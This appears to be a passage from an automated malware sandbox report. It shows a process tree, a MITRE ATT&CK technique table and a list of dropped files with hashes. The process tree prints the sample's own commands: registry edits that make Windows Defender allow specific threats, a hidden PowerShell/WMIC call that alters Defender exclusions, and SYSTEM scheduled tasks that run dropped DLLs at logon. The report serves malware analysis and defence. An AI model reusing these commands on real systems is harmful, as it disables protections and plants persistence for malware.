                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\DyaBnZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\DUNoNcC.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /END /TN "JHJXtPPPvDXVqpH"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\cuVNSAe.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\qGTYCWT.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\BcSrDFL.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\lGHqdcF.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\pAJRvzHw\rCNYPdr.dll",#1 /lSkMdidUa 385118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\pAJRvzHw\rCNYPdr.dll",#1 /lSkMdidUa 385118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "aNyMQclguOCSCcjxm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6024

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Services

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1569

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Service Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1569.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1562

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Subvert Trust Controls

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1553

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Install Root Certificate

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1553.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Credentials in Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1552.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1120

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Service Stop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      T1489

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      {85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 d2f30246fe31b6ce70a5d58d3006845b6cb6e01059862a0d6fade94294c08e53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Are.docx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\Are.docx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      mozglue.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\mozglue.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 593KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      nss3.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\ProgramData\nss3.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\be\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 202B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 a93a368b5c7023842f9d8b0ee5ef9638c03c808212efefadf7331d3b65482ea3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\ca\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 146B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 3a22d19fd72a8158ad5ec9bfa1dcdf70fdb23c0dee82454b69c2244dfd644e67
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\cs\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Size 154B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • SHA256 38af7c2222357b07b4e5f0292d334d66f048c12f1c85ca34215104baa75bc097
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      messages.json
